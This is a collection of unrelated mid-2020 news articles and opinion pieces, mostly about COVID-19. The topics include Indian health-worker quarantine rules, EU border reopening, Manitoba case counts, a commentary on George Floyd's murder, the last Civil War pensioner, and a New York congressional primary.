It added that the risk profiling of those exposed has been deliberated in detail in the technical body under the Directorate General of Health Services, the Joint Monitoring Group (JMG), which also has a representative of World Health Organisation(WHO).

This risk assessment approach is also in line with guidelines issued by Centre for Disease Control, Atlanta, USA that only high risk exposure needs to be quarantined for 14 days. Hence, mandatory quarantine for 14 days, after rostering duty of health care workers of 7/14 days is therefore not justified and warranted, it added.

The Centre submitted that to successfully create optimum infrastructure to provide best medical care to coronavirus patients it will also have to adequately address human resource issue for this envisaged surge capacity scenario.

Hence, conserving health care work force is the need of the hour in order to cater to the anticipated patient load in the hour of distress.

The ministry submitted that while the Hospital Infection Control Committee (HICC) in the health facility is responsible for implementing the Infection Prevention and Control (IPC) activities and for organising regular training for HCWs, the final responsibility lies with the worker to prevent infection and to protect himself or herself.

The ministry further said it is also his/her responsibility to adequately train himself/herself and take all possible measures for preventing the infection and if adequate measures are scrupulously observed, the chances of of the health care workers contracting the infection would not be higher than that of any other person.

It is submitted that the current pandemic of COVID-19 is unprecedented and there is no time tested and universally acceptable protocol pertaining to COVID-19 preparedness.

"Furthermore, the biggest challenge to deal with this pandemic is that there are currently no proven therapeutics or vaccines or rapid point of care diagnostic tests, risk assessment and management protocols for COVID-19 and here are major research gaps in many other key areas of COVID patient and hospital management, the ministry said.

As per the advisory, quarantine of health care workers, other than the two categories -- in case of high exposure to COVID-19 and in cases of health care workers showing symptoms of COVID-19 -- is not warranted, the petitioner had said.

On April 8, the apex court had observed that the doctors and medical staff are the "first line of defence of the country" in the battle against COVID-19 pandemic, and directed the Centre to ensure that appropriate PPEs are made available to them for treating coronavirus patients.

Follow our full coverage of the coronavirus pandemic here
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The Ministry of Home Affairs on Thursday blacklisted 2550 foreign Tablighi Jamaat members over violation of visa norms.

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The statement quoting MHA officials said, these 2,550 foreign nationals will not be allowed to enter into India for the next 10 years. These foreign nationals had originally visited Delhis Nizamuddin Markaz for the annual congregation in March; news media subsequently accusing them of infecting hundreds making the Markaz another hotspot in the national capital.

The report further accused that the foreign members of the Jamaat were travelling across India despite being tested positive for Coronavirus and were also found illegally living in mosques and religious places.

However, according to a ground investigation done by TwoCircles.net revealed that initially the members who were quarantined were arrested in districts all over India under violation of Foreigners Act 1946 and were produced before local courts which sent them to judicial custody for 14 days after April 20.

Currently, 300 of them are jailed only in UPs jails across Prayagraj, Kushinagar, Meerut, Saharanpur, Hapur, Shamli, Bulandshahar and Baghpat.
Maharashtra Home Minister Anil Deshmukh on Thursday hailed a policeman for donating blood to a 14-year-old patient requiring open-heart surgery at a city hospital where no other suitable donor could reach due to cyclone Nisarga and the COVID-19 outbreak.

According to an official statement, Deshmukh called up the policeman, constable Akash Gaikwad, and told him the entire force was proud of him.

Akash, we are proud of you! Deshmukh told the constable, appreciating his gesture.

Gaikwad is attached to the Tardeo Police Station in Mumbai.

The statement said 14-year-old Sana Fatima Khan required A+ blood at the time of her open heart surgery at Hinduja Hospital here on Wednesday, the day when cyclone Nisarga approached the coastal belt of the state.

Later, Mumbai Police Commissioner Param Bir Singh shared a photo of Akash Gaikwad and praised the cop for going beyond the call of duty.

Commitment Level: A+A 14-year old needed blood group A+ to undergo an open heart surgery.When friends or family could not make it to the hospital due to #CycloneNisarga, PC Aakash Gaikwad donated blood.@MumbaiPolice wishes the young girl a healthy life ahead!#MumbaiFirst pic.twitter.com/nxiQLHQIoR CP Mumbai Police (@CPMumbaiPolice) June 4, 2020

Many others chimed in to extend their warm wishes to the cop.

Absolutely Wonderful sir ! Rahul Dev (@RahulDevRising) June 4, 2020

I salute PC Akash Gaikwad ji for this . May Maa Bharati bless him and his family. Vinit Goenka (@vinitgoenka) June 4, 2020

All wishes for speedy recovery  https://t.co/tQIMZWfsiH Anuj Alankar (@Anujalankar9) June 4, 2020

Due to the cyclone and the novel coronavirus, no medically suitable donor could reach the hospital on Wednesday, the statement said.

Gaikwad, who was on duty at the hospital then, came forward and donated blood to the patient in such a serious condition, the statement added.

Be it the spread of COVID-19 or Nisarga cyclone, the police force has always been a great support to the common citizens.

My salute to the warriors like Akash Gaikwad. As the head of the entire police family, I am proud of my police force, the statement quoted Deshmukh as saying.

(With PTI inputs)
Czech Republic's Prime Minister Andrej Babis, left, welcomes his Slovak counterpart Igor Matovic in Prague, Czech Republic, Wednesday, June 3, 2020. The Czech Republic and Slovakia are fully opening their common border for travelers, cancelling restrictions that have been adopted to contain the coronavirus pandemic. (AP Photo/Petr David Josek)

Europe could have its free travel zone up and running again by the end of this month, but travelers from further afield will not be allowed in before July, a European Union commissioner said Friday after talks among the bloc's interior ministers.

Panicked by Italy's coronavirus outbreak in February, countries in the 26-nation Schengen travel zonewhere people and goods move freely without border checksimposed border restrictions without consulting their neighbors to try to keep the disease out. The moves caused massive border traffic jams and blocked medical equipment.

Free movement is a jewel in Europe's crown that helps its businesses flourish and many European officials feared that the very future of the Schengen area was under threat from coronavirus travel restrictions. These added to border pressures already caused by the arrival in Europe of well over 1 million migrants in 2015.

"I personally believe that we will return to a full functioning of the Schengen area and freedom of movement of citizens no later than the end of the month of June," European Union Home Affairs Commissioner Ylva Johansson said Friday after the video-conference meeting.

All but essential travel into Europe from the outside is restricted until June 15, but many ministers suggested Friday that they want this deadline extended until early July.

A car from Germany drives from Austrian to Italy at the Brenner Pass boarder crossing, Italy, Wednesday, June 3, 2020. Italy opened its borders to the citizens of the EU and Switzerland this June 3, following a Coronavirus lockdown with closed boarders and traveling restrictions. (Karl-Josef Hildenbrand/dpa via AP)

The meeting came as the Czech Republic was easing restrictions with some of its neighbors; Austria, Germany and Hungary. Also Friday, Switzerland said it plans to lift restrictions on travel from EU nations and Britain on June 15. Switzerland is not an EU member but is part of the Schengen travel zone.

Johansson said Europe's Centre for Disease Prevention and Control believes that confinement, social distancing and other health measures are working. More than 175,000 people have died in Europe's coronavirus outbreak, according to a tally by Johns Hopkins University, mostly in Britain, Italy, France and Spain.

"Physical distancing and other health-related measures are still needed, of course. But health authorities are clear that there is no longer a clear justification for either travel restrictions or border measures within the EU Schengen area," Johansson said.

German Interior Minister Horst Seehofer wears a face mask while talking to waiting residents at the Bavarian border crossing at Freilassing, Germany, Monday, May 18, 2020. Politicians Seehofer, Bavarian State Governor Markus Soeder and Bavarian Interior Minister Joachim Herrmann got a picture on the spot of the current situation with regard to the restrictions to contain the corona pandemic. (Peter Kneffel/dpa via AP)

German Interior Minister Horst Seehofer, whose country plans to lift its remaining border checks on June 15 like many other EU countries, said "the internal border controls will be over in all of Europe at the end of June."

The news should come as a relief to millions of Europeans still trying to work out their summer vacation planswhich begin for many in July once the school year is overand who are anxious to know whether they will be allowed to head to the continent's beaches or mountains.

It's also good news for European countries whose economies have been ravaged by the spread of COVID-19 and are hoping for a much-needed boost from their decimated tourism industries.

But the perception that Italy is still dangerous is weighing heavily on its tourism sector, which along with related industries accounts for 13% of Italy's gross domestic product.

Luigi Di Maio, Foreign Minister of Italy attends a news conference with his German counterpart Heiko Maas at the Foreign Office in Berlin, Germany, Friday, June 5, 2020. (Michael Kappeler/Pool via AP)

In an apparent reference to Austria and Greece, which have not fully opened to Italian tourists, Italian Foreign Minister Luigi Di Maio denounced the "ad hoc" measures put in place by some countries as "a violation of the European spirit that has always distinguished us."

Di Maio said Rome would provide regular infection data to Austria "so they can have certainty about Italy's numbers." Last week, he said Italy refused to be treated as a leper after Greece announced a list of 29 countries whose citizens could visit without testing or quarantine requirements, but excluded Italians, Britons and residents of other hard-hit countries.

Spanish Prime Minister Pedro Sanchez and Italian Premier Giuseppe Conte have sent a joint letter to European Commission President Ursula Von der Leyen urging "the lifting of restrictions at our internal borders (...) in a coordinated, non-discriminatory manner." The letter was shared with media in Spain on Friday.

Airport personnel spray disinfectant as they sanitize a plane to prevent the spread of COVID-19 during a media opportunity at Rome's Fiumicino airport, Thursday, June 4, 2020. (AP Photo/Alessandra Tarantino)

The government leaders of the eurozone's third- and fourth-largest economies want the European Centre for Disease Prevention and Control to play a leading role in "defining as soon as possible these criteria together with the member states."

Spain, which relies on tourism for 12% of its GDP, plans to wait until July 1 to drop its 14-day quarantine requirement for everyone who crosses its borders, Spaniards included.

"Many of our member states are approaching the date when they are going to reopen their borders to tourist mobility," Sanchez and Conte wrote. "How this process is carried out will largely determine our citizens' perception of the centrality of the European Union in tackling this crisis."

Germany's Seehofer said most of the EU's interior ministers want to extend the current entry ban on outside travelers "by 14 days until July 1."

In this file image taken on Sunday, May 10 2020, sunbathers sit on an empty stretch of 'Landa' beach at the Cyprus seaside resort of Ayia Napa, a favorite among tourists. Cyprus' government Wednesday May 27, 2020, is pledging to cover all costs for anyone testing positive for the coronavirus while on vacation in the east Mediterranean island nation, covering the costs of lodging, food, drink and medication for COVID-19 patients and their families.(AP Photo/Petros Karadjias, FILE)

In this file photo dated Monday, May 4, 2020, a woman wearing a face mask exits from a shop along Makarios Avenue, a busy shopping street in central Nicosia, Cyprus. Cyprus' government Wednesday May 27, 2020, is pledging to cover all costs for anyone testing positive for the coronavirus while on vacation in the east Mediterranean island nation, covering the costs of lodging, food, drink and medication for COVID-19 patients and their families. (AP Photo/Petros Karadjias, FILE)

Belgium's Princess Astrid and her husband Prince Lorenz, center, participate in a ceremony to re-open the Belgian monument, the Atomium, in Brussels, Monday, June 1, 2020. The monument was previously closed to visitors due to coronavirus, COVID-19 regulations. (AP Photo/Virginia Mayo)

Visitors from the United States, Russia or Brazil, for example, would only be allowed back into Europe on based on how those nations have brought the spread of the virus under control, he said. Those three nations account for 44% of the world's confirmed infections and nearly 38% of the world's confirmed coronavirus deaths, according to Johns Hopkins.

Worldwide, 6.6 million people have been confirmed infected by the virus and over 391,000 have died, according to Johns Hopkins, but experts say the tally understates the true toll of the pandemic due to limited testing, missed mild cases and deliberate government undercounts.

Explore further Follow the latest news on the coronavirus (COVID-19) outbreak

 2020 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
Manitoba hit the 300 mark for COVID-19 when two new cases were reported Friday.

Hey there, time traveller!

This article was published 5/6/2020 (594 days ago), so information in it may no longer be current.

Manitoba hit the 300 mark for COVID-19 when two new cases were reported Friday.

"We're not done with this virus," said Dr. Brent Roussin, chief provincial public health officer.

The new cases involve a truck driver who travelled outside the province and a close household contact of the driver, Roussin said.

Public health is looking into the two cases to determine what contacts they may have had who need to be traced, he said.

Truck drivers are exempt from the order that requires Manitobans to self-isolate for 14 days when they return to the province from travelling. Drivers are offered voluntary COVID-19 testing even if they have no symptoms.

Two other cases involving truckers in the last week have been reported. Roussin said he didn't have details on where the drivers, who travelled outside the province, might have caught the virus.

"We know travel outside Manitoba, especially into the U.S., carries an increased risk," he said.

In Manitoba as of Friday, there were nine active cases of the virus. The province has a very low test-positive percentage rate: less than 0.22 per cent, Roussin said.

"That's quite low compared to Canada's average," said Roussin.

The cumulative test-positive percentage nationally is about five per cent.

Manitoba has the capacity to perform up to 1,000 COVID-19 tests daily, but only 671 tests were performed on Thursday.

The province will no longer conduct tests on Sundays in Brandon, Portage la Prairie, Steinbach, Winkler and at Thunderbird House in downtown Winnipeg because of low patient volumes, Shared Health nursing chief Lanette Siragusa said Friday.

While the province has the capacity to test more people, there's no point in testing people who have no symptoms just for the sake of testing, Roussin said.

Manitoba's top doctor said there's no value in testing people who've attended large gatherings where some may not be social distancing, such as Friday's Black Lives Matter rally.

"That wouldn't be my recommendation," said Roussin.

Tests performed on people with no symptoms are not reliable, he said. A person could test negative and develop symptoms the following day and later test positive. He maintained that hand-washing, keeping your distance and staying home when you're ill are the best ways to avoid spread of the virus.

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There is no need for anyone without symptoms to self-isolate after Friday's rally, Siragusa said.

She dismissed social media posts that claimed Health Links has advised protesters to self-isolate for two weeks after the event. "That is not the messaging that's being given," she said.

Numbers posted by the federal government on Thursday indicate the virus appears to be on the decline nationally.

Daily case counts over the past seven days are 24.5 per cent lower than the seven days before that, and there is a decreasing trend in the number of new deaths: 22.7 per cent lower than the seven days prior.

Manitoba last reported a COVID-19 death one month ago. On May 5, the virus claimed the life of a man in his 70s in the Southern Health region.

carol.sanders@freepress.mb.ca
The week before I gave birth, a friends grandmother died. She had been born during the final year of the 1918-19 flu pandemic and when her 100th birthday arrived, the coronavirus was just starting to spread in the US.

My friend wrote a beautiful eulogy  to be delivered by Zoom  which reflected on a life bookended in such a dramatic way. It concluded on a hopeful note: She entered the world in a pandemic, my friend wrote, yet she nevertheless proceeded into love, creativity, rebirth and exploration. I didnt know as I was reading this that my baby would come soon after, but when she did, my friends words, and the sense of lifes long arc within them, brought me great comfort.

In a sense, were lucky; our summer was always going to be one defined by burps and bottles and blankets. Credit:Getty Images

What can I say about the hospital staff who delivered the baby? Theres a reason we resort to clapping healthcare workers, because merely saying thanks doesnt feel like nearly enough. From the moment I staggered into the hospitals emergency room, everyone around me made it clear, in demeanour and actions, that a baby was to be born, and that they would make that happen.

In the delivery room, the staff wore plastic face shields and long green gowns until the results of my COVID-19 test came back negative. When that happened, there was a small collective cheer and they threw off their protective garb, but I know that if the test had been positive, they would simply have kept at it.
Hospitals and our frontline workers are the backbone of our community. Now, more than ever, we need to support them. As a result of the COVID-19 outbreak, our hospital systems have been strained to a degree that will put many of them at risk of closing.

In March of 2020, our health providers entered a fiscal crisis that forced the furlough of more than 1.4 million workers in just a six-week period. As a result, Congress approved some solutions that will provide temporary relief in the form of grants. However, the relief they provided was not nearly enough.

According to the American Hospital Association, hospitals across the country will lose more than $200 billion by the end of June. This is just the tip of the iceberg as these numbers will continue to grow as flu season and the possibility of a COVID-19 resurgence comes again this fall.

Here in Iowa, our hospitals have supported our communities in so many ways. From large urban centers to suburban communities to our rural counties, our hospitals are the key to a thriving community.

Hospitals and other health care providers accessed advanced payments through the CARES Act Medicare Loan Fund to bridge losses. Loan forgiveness is vitally important and is much more critical now, given the fact that hospital losses have far exceeded the relief from CARES Act grants. The losses continue, as the rampup is gradual.

We need Congress to stand up and support our hospitals by forgiving the CARES Act Medicare loans that have been issued. The cost of this pandemic has hit many sectors of the economy and our health care system is no exception.

We need Congress to act and act fast to protect our hospitals and our frontline workers.

Liz Mathis, D-Hiawatha, and Annette Sweeney, R-Alden, are Iowa state senators.

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Frontiers in Clinical Drug Research - Dementia is a book series which presents comprehensive reviews about research on Dementia, a term which references the loss of brain function associated with Alzheimer's disease and other related medical conditions. The disease affects the parts of the brain that deal with memory, thought, and language. Chapters in each volume focus on drug research with special emphasis on clinical trials, research on drugs in advanced stages of disease development and the cure for dementia and related disorders.

The first volume includes the following reviews:

Meeting the Challenges of Falls and Hip Fractures in People with Alzheimer's Disease

Cholesterol in Brain Health and Pathologies

Advances in the Treatment of Mild Cognitive Impairment (MCI) and Dementia

Analytical Methods in Alzheimer's Disease Drug Discovery

Targeting Alzheimer's Disease through Nanomedicine

Current Challenges in Alzheimer's Disease Research

Metals Linked to Alzheimer's Disease

This book can serve as a reference for neurologists, medical specialists (neurophysicians, psychiatrists), pharmacologists, pharmacists, researchers and postgraduate students in nanomedicine.

About the Editor:

Prof. Atta-ur-Rahman, Ph.D. in organic chemistry from Cambridge University (1968), has 1080 international publications in several fields of organic chemistry including 751 research publications, 37 international patents, 69 chapters in books and 221 books published largely by major U.S. and European presses. He is the Editor-in-Chief of eight European Chemistry journals. He is Editor of the world's leading encyclopedic series of volumes on natural products 'Studies in Natural Product Chemistry' 54 volumes of which have been published under his Editorship by Elsevier during the last two decades.

Prof. Rahman won the UNESCO Science Prize (1999) and was elected as Fellow of the prestigious Royal Society (London) in July 2006. He has been conferred honorary doctorate degrees by many universities including (Sc.D.) by the Cambridge University (UK) (1987). He was elected Honorary Life Fellow of Kings College, Cambridge University, UK, conferred the TWAS (Italy) Prize and the Austrian government has honored him with its high civil award ("Grosse Goldene Ehrenzeischen am Bande") (2007). He is Foreign Fellow of Chinese and Korean Academy of Sciences, Foreign Fellow of the Chinese Chemical Society and former President of Pakistan Academy of Sciences.

Keywords:

Alzheimer's Disease, Nanomedicine, Mild Cognitive Impairment (MCI), Dementia, Analytical Methods, Drug Discovery, neurologists

For further information, please visit:

https://benthambooks.com/book/9789811410949/

###
A man was caught taking pictures under a woman's skirt in an elevator in Thailand. The man followed the woman into an apartment block lift then sidled up behind her in Nonthaburi, central Thailand, on May 28. When the lift's door closed he lowered his phone to take a picture under her skirt. However, the young woman noticed his hand before turning round and demanding to his the smartphone. He is seen in the camera footage shielding the screen of the phone. Police began searching for the suspect but he surrendered himself on Saturday afternoon (May 30). He admitted putting his phone under the woman's skirt but said he did not take any pictures or recordings of her body. The man was later identified as Patcharaphon Taithip, 30, who handed himself into police before admitted putting the phone under her skirt. Speaking today, the victim, who wanted to remain anonymous, said she did not want to accuse the man without proof. She said: "I remember feeling that he was standing close to me in the lift and I wanted to move away from him. "I turned round to see him and noticed that he was holding his phone under my skirt. "I asked him about what he had done and tried to see his phone, but he insisted that he did not do anything. I went to the buildings security office and asked to see CCTV footage from the lift. "When I saw it I immediately contacted police. I don't feel safe living in the same building with that deviant.'' Police said they are using data recovery tools to search through his phone as they believe he deleted the images. Police Colonel Amnaiphan Nilnoi said: "The evidence that the victim has brought to us is quite enough to charge him for molestation. "However, we believe he deleted a video of the victim so if we can recover that we will have more evidence that will add to the case.''
Ask Dr. Land: What do you think about George Floyds murder and the aftermath?

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Question: What are your thoughts on the murder of George Floyd and the aftermath, including the rioting and looting?





Like almost all of my fellow countrymen, I was nauseated and repelled by the video of George Floyd being murdered in front of our very eyes by a uniformed policeman while three other policemen present failed to intervene. For any human being to do that to another human being is an atrocity of unspeakable barbarity.

However, when the perpetrator is a policeman, it is even more heinous. The police are the most visible representation of what the Apostle Paul tells us is the divinely authorized civil magistrate, tasked by the Almighty to punish those who do evil and reward those who do that which is good (Rom. 13:1-7). When a policeman acts in such an unspeakable way, it is even worse because he is involving civil government in his crime because he is a symbol of the state. In short, when a policeman (or policemen) behaves this way, it is nothing short of blasphemous. Let me be as clear as I can possibly be. Every American who claims to be a decent part of the human family has a moral obligation to condemn the grotesque murder of George Floyd and demand that the perpetrators be punished to the fullest extent of the law.

Why am I speaking out on this issue now? Hasnt enough been said? I believe it is every Americans responsibility to declare their outrage at this atrocity. However, I do have one added incentive. Whenever I feel compelled to speak, or am asked about issues of racial reconciliation in America, I automatically first go to the Holy Scripture and then to Dr. Martin Luther King Jr., a hero of mine ever since I was a teenager in the early 1960s. Dr. King said, In the end, we will remember not the words of our enemies, but the silence of our friends.

Reading these words again, I could not allow my silence to camouflage my anguish and outrage. When I watched the infamous video and it came to the segment where the policeman, Derek Chauvin, in the midst of strangling a helpless George Floyd, stared directly into the camera, I had an immediate flashback in my mind to a picture that appeared in Life magazine in the early 1960s. It was a picture of the lawmen who had killed the three Civil Rights workers and buried them under a dam in Mississippi. Then, as now, I was staring into the face of pure, unadulterated evil.

When I turn to the Bible, I see racism condemned from beginning to end. Genesis tells us that God created man in his own image, in the image of God created he him (Gen. 1:27) and Adam called his wifes name Eve: because she was the mother of all living (Gen. 3:20, emphasis added). Consequently, there is only one race  the human race. Scientific research is now confirming what the Bible told us all along  we all come from one common ancestor.

And in the New Testament we are informed that God shows no partiality, but in every nation anyone who fears him and does what is right is acceptable to him (Acts 1:34), and He made from one man every nation of mankind to live on all the face of the earth (Acts 17:26).

And finally, of course, we have the all-encompassing language of the best known verse in the entire Bible, For God so loved the world that He gave His only begotten Son, that whosoever believeth in Him should not perish, but have everlasting life (John 3:16, emphasis added).

And when I turn to Dr. King (and I have a pretty thick MLK file), I find him never wavering from his deep commitment both to racial reconciliation and non-violence.

Recently we have seen media try to rewrite Dr. Kings history by repeating this quote, taken entirely out of context: A riot is the language of the unheard.

In that interview with Mike Wallace in 1966, he was explaining why the riots were taking place, not condoning them. In fact, he went on to say in that very interview, I think for the Negro to turn to violence would be both impractical and immoral.

Even as Dr. King became more politically progressive in the last years before his tragic assassination, he continued to denounce violence. So I will continue to condemn riots, and continue to say to my brothers and sisters, that this is not the way.

As his niece Alveda King reiterated, offended by these attempts to co-op her beloved uncles memory, Martin Luther King preached love, not hate; peace, not violence; universal brotherhood, not racism.

Why? He believed such actions were both immoral and counter-productive.

Earlier, in his incandescent 1963 Letter from a Birmingham Jail (which I still believe ought to be required reading for any American high school senior to graduate, right up there with the Gettysburg Address), Dr. King explained, Injustice anywhere is a threat to justice everywhere. Why? Dr. King understood that we are caught in an inescapable network of mutuality, tied in a single garment of destiny. Whatever affects one directly, affects all indirectly. Whenever injustice occurs, all of us are impacted, de-sensitized, and diminished.

Also, the violence is counter-productive. It further rends the social fabric into which we are all woven, and it rends it in ways that are far easier to rend than they are to mend. As Dr. King so astutely observed, Every time a riot develops, he warned not long before his murder, it helps George Wallace. Sad, but so very true.

When people are forced to choose between order and chaos, a majority will choose order every time, even at the expense of justice.

Once again, let me be unmistakably clear. The right to peaceful protest is guaranteed by the First Amendment, and I will defend that right to the death. I will tell any American, I disagree with everything you say, and I will defend to my death your right to say it without fear or intimidation.

However, when you start destroying peoples homes, businesses, and neighborhoods, and when you start injuring and killing people, you have crossed the line. You have no right to do that, and you are diminishing every human life and wounding our society in ways that even if and when it mends, will leave painful scar tissue.

We had a very moving moment when this heinous video of George Floyds murder went viral. Americans left, right, and center were horrified. We were as unified as I have seen America in a long time. And then, the violence started, desecrating the memory of George Floyd, as his family stated in imploring the violence to stop.

Division, rancor, and compounding violence rapidly ensued. There is nothing about such violence quite as impressive as its ability to generate even more violence.

And, for those who would argue that such actions as the Boston Tea Party justify violent protests, my response is really, are you truly that ignorant? The Sons of Liberty threw the tea into the harbor because they had no peaceful redress of grievance that is now guaranteed by the Constitutions First Amendment. When you have no vote, the moral threshold for protest is much lower than when you have the right to vote out what you believe is injustice and vote in better representatives.

As for me, and my house, we will never abandon Dr. Kings mesmerizing dream that our nation will fully live up to the promises of our founding documents, and we will produce a country where people will be judged not by the color of their skin, but the content of their character.

While I draw breath, this dream will never die.
The check arrived every month: $73.13.

Irene Triplett, who lived in a North Carolina nursing home, rarely talked about the source of the money. She was the final American to receive a pension from the Civil War - $877.56 a year from the Department of Veterans Affairs.

The jaw-dropping fact that someone in the year 2020 was still earning a Civil War pension was the result of two factors: First, Triplett suffered cognitive impairments, qualifying her for the lifelong pension as a helpless adult child of a veteran. Second, her father, Mose Triplett, who'd served as a private in the Confederate Army before defecting to the Union, was on his second marriage when she was born in 1930. He was just a few weeks away from turning 84.

On Sunday, Irene Triplett died at Accordius Health, a long-term care facility in Wilkesboro, N.C., at the age of 90. A relative said she'd broken her hip a few days earlier and died of complications. She never married, and her only brother had died in 1996.

Triplett's story is a powerful reminder that the Civil War wasn't all that long ago, said Columbia University historian Stephanie McCurry. "Just like the Confederate monuments issue, which is blowing up right now, I think this is a reminder of the long reach of slavery, secession and the Civil War," she said. "It reminds you of the battle over slavery and its legitimacy in the United States."

Many more widows and children of other long-ago soldiers are still alive. According to the VA, there are 33 surviving spouses and 18 children receiving pension benefits related to the 1898 Spanish-American War.

Triplett's status as a Civil War pensioner began gaining attention in 2011, when the Wilkes Genealogical Society in Wilkes County, N.C., displayed her photograph on its quarterly publication and featured her in a story. The article noted she was one of only two people in the country still reaping a Civil War pension.

One of the piece's researchers, Jerry Orton, of Syracuse, N.Y., a member of the Sons of Union Veterans of the Civil War, first discovered that Triplett was earning the benefit at some point in the late 1980s, after he'd embarked on a research project on surviving widows and children of Civil War soldiers. He'd gotten her name from the Veterans Administration. Eventually, he traveled to North Carolina and interviewed her about her life.

"Irene could not recall much of her childhood and has no recollection of Mose," the historical society's article said. "She has virtually no memories of fun, presents, friends, neighbors or such as they lived so isolated, and she had to work on the farm each day where they primarily raised chicken[s] and kept some hogs and cows as well."

In 2013, an Associated Press story reported that more than $40 billion a year was being spent to compensate veterans and survivors from the Spanish-American War, World War I and II, the Korean War, the Vietnam War, the Iraq war, and the Afghanistan war. Then, the wire service dropped this juicy nugget: "The Civil War payments are going to two children of veterans - one in North Carolina and one in Tennessee - each for $876 per year."

But the AP story didn't name Triplett or the Tennessee recipient. That's when the tabloid Daily Mail got involved, identifying Triplett for the first time in a major news publication. The headline: "EXCLUSIVE: Revealed, America's last living link to the Civil War."

Relying partly on military records, Orton's research for the genealogical society and an interview with her recently deceased nephew, the Daily Mail piece included a photo of Triplett and painted a colorful portrait of her father: Mose first joined a Confederate regiment in North Carolina in 1862 and then defected to the Union in 1864. He once held a rattlesnake around his neck and sported a Wyatt Earp-style mustache that fell below his chin. He sat on his porch and shot acorns out of trees.

The next year, the Wall Street Journal published its own story on Triplett, a lengthy front-pager that recounted how Mose chose to abandon the Confederacy at exactly the right time - just as he and his regiment were marching through the Shenandoah River Valley on their way to Gettysburg, Pa. The Journal noted that Mose went to a hospital in Danville, Va., with a fever and that state records said he "deserted" on June 26, 1863.

For his future daughter, the timing of his decision could not have been more significant. About a week later, of the 800 men in Mose's Confederate regiment, 734 of them died at the Battle of Gettysburg, the Journal said.

On Aug. 1, 1864, Mose joined the 3rd North Carolina Mounted Infantry, known as "Kirk's Raiders," a regiment that laid waste to Confederate depots, railroads and bridges.

Four months after the war ended in 1865, Mose was discharged and eventually moved back to his native North Carolina, settling on farmland in Wilkes County. Twenty years later, the Journal article said, he applied for his Civil War pension. He and his first wife Mary had no children.

After Mary died in the 1920s, Mose married Elida Hall. He was 78. She was 27. Their 1924 marriage, according to the Journal, was rough. They lost three babies. Then Irene was born on Jan. 9, 1930, but had mental disabilities, according to the newspaper. She was 8 when her father died on July 18, 1938, at the age of 92. His headstone reads: "He was a Civil War soldier."

When the Journal interviewed Triplett, she said her teachers beat her with an oak paddle, and her parents also hit her.

Other children teased her about her father "the traitor," one of her relatives told the newspaper. She dropped out of sixth grade. According to the Journal, she and her mother lived for years in a county "poorhouse," which was infested with rats and mice, before she and her mother later moved into a private nursing home.

"I didn't care for neither one [of my parents], to tell you the truth about it," she said. "I wanted to get away from both of them. I wanted to get me a house and crawl in it all by myself."

After her mother passed away in 1967, Triplett eventually found her own friends at various nursing homes, especially at her most recent stay at Accordius Health. She chewed tobacco from her pouch of Star tobacco. She loved watching the news on television and reporting back to other residents about the latest goings-on.

Jamie Phillips, the home's activities director, said she spent most days with her, playing bingo and watching her use a red Solo cup as her spittoon. She loved gospel music. Listening to the Bill Withers song "Lean on Me." Cream cheese cheeseballs. Fried potatoes and onions. Fried chicken and pinto beans. Laughing. This is what she was really famous for.

"Even if you tripped or dropped something, she'd laugh," Phillips said. "She was set off by anything. I never saw her angry. Everything was funny."

But if anyone asked her about her father or, in the aftermath of all the news stories, why she was getting a Civil War pension check, she'd demur. "A lot of people were interested in her story," Phillips said, "but she'd always deflect the conversation to something different going on in the news."

- - -

The Washington Post's Harrison Smith contributed to this story.
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WASHINGTON (AP)  U.S. productivity fell at a 0.9% rate in the first three months of this year, a smaller decline than first estimated, while labor costs rose at a slightly faster pace.

The Labor Department reported Thursday that the first-quarter decline in productivity was smaller than the initial estimate a month ago of a 2.5% drop. Labor costs rose at a 5.1% rate, slightly faster than the 4.8% increase first reported.





. . .
Most of New Yorks congressional delegation stayed at home in their districts, alongside their constituents, during the coronavirus pandemic  but not Rep. Eliot Engel  despite representing parts of the Bronx and Westchester County, two hard-hit areas. The congressman has been at his home outside Washington, D.C., since late March, according to an article published by The Atlantic in mid-May.

A campaign spokesman defended Engel afterward, stating: Unlike his opponents, he hasnt used the tragedy of this pandemic to take cheap shots, lie about anyones record, do photo ops, or engage in angry Twitter wars like too many politicians do these days.

But this week, Engel returned to his district to do photo ops. At a local press conference on Tuesday, addressing recent protests against police brutality and racism, the congressman asked to speak and was caught on a hot mic saying, If I didnt have a primary, I wouldnt care.

Engel later clarified in a statement that he only brought up his reelection to emphasize the importance of people understanding his position. But his comment may have only made him more vulnerable. His leading challenger, Jamaal Bowman, raised more than $107,000 on the day Engels comment went viral.

And the left was already coalescing behind Bowman. On Monday, fellow progressive primary candidate Andom Ghebreghiorgis dropped out and endorsed Bowman. Dave Wasserman, an editor at The Cook Political Report, said on Wednesday that Engel may be the next House incumbent to be in danger of losing a primary.

Having been in Congress since 1989, Engel is contending with his first competitive primary in years. Bowman has already been painting Engel, the chairman of the House Foreign Affairs Committee, as a Washington insider who is out of touch with his districts needs. The narratives dont look particularly good for Engel, and not even that hes just out of the district, but that he could be the Joe Crowley of 2020, said Jeanne Zaino, a political science professor at Iona College.

Filings from the Federal Election Commission show that Engel has raised close to three times the amount that Bowman has in this cycle, allowing Engel to more easily invest in mailers, advertising and other remote voter outreach.

Historically, that would be a big advantage, but experts say that money may not matter as much when online activists can get the word out about an underdog. The money matters  no question there, Zaino said. But given the changes in campaigning were seeing, and campaigning style, its a matter of are you spending that money in ways that help you? And the fact is, when so much has moved online, challengers have the benefit of being able to reach people in ways that arent particularly costly.

Bowmans Facebook page has close to six times the number of followers that Engels campaign page does. The disparities on Twitter are even more dramatic, where Bowman has amassed more than 36,000 followers and Engel has only about 230. Engels social media presence on his official congressionalaccounts are much larger  with more than 52,000 followers on Twitter and about 62,800 on Facebook  but those accounts arent able to boost his primary run.

And then theres the coronavirus and the unknown ways in which it may scramble the election. New Yorks 16th Congressional District includes New Rochelle, the site of one of the earliest coronavirus outbreaks in the state. Most members of New Yorks congressional delegation from downstate have been in New York during the pandemic. In early May, the Engel campaigns Twitter account falsely featured an announcement that he would be joining other officials for a free mask giveaway in Mount Vernon. There was an inaccurate tweet, since deleted, an Engel campaign spokesman said in a statement.

Bowman, a middle school principal, has contrasted that with his activity in the district  combining virtual campaigning with in-person engagement like volunteering at local food banks and rallying with nurses. Eliot Engels absence is deplorable and unacceptable, he told City & State. The first job of any leader is to show up and be present.

Engels campaign has said that hes been busy legislating in Washington, D.C., and the congressman fired back at Bowmans assertions in a virtual debate on Wednesday.

